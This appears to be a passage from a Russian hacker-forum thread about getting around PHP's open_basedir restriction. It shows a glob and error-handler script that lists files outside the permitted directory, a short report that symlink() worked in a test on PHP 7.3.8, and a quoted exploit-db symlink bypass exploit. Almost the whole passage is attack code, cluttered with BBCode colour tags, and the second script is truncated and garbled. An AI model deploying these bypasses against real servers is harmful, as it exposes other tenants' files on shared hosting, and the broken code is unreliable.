if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]or[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
foreach([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/../'[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strrpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]));
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
} else {
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
}
}
foreach([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"
"
[/COLOR][COLOR="#007700"];
}
} else {
echo[/COLOR][COLOR="#DD0000"]"Access denied or open_basedir = Off, back"[/COLOR][COLOR="#007700"];
}
echo[/COLOR][COLOR="#DD0000"]"\n\n[/COLOR][COLOR="#0000BB"]$count[/COLOR][COLOR="#DD0000"]glob iteration"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]" files"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();
if([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]))
[/
COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]"\nTime: "[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]$starttime[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]" seconds"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errline[/COLOR][COLOR="#007700"]){
global[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]);
if(isset([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]])){
[/
COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]));
if(![/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"])) {
[/
COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"])
[/
COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
else
[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
} else {
[/
COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
}
}
[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Symlink() - отработало без вопросов.

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1

Эксплоит взят с https://www.exploit-db.com/exploits/10557

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]This is exploit from Security Audit Lab - SecurityReason labs.
Author : Maksymilian Arciemowicz
Script for legal use only
.
PHP 5.2.12 5.3.1 symlink open_basedir bypass
More
: SecurityReason
'[/COLOR][COLOR="#007700"];

if(empty([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]))
exit;

if(![/COLOR][COLOR="#0000BB"]is_writable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"]))
die([/COLOR][COLOR="#DD0000"]"not writable directory"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$level[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$as[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$as[/COLOR][COLOR="#007700"]check symlink symlink'
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$num[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' file'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ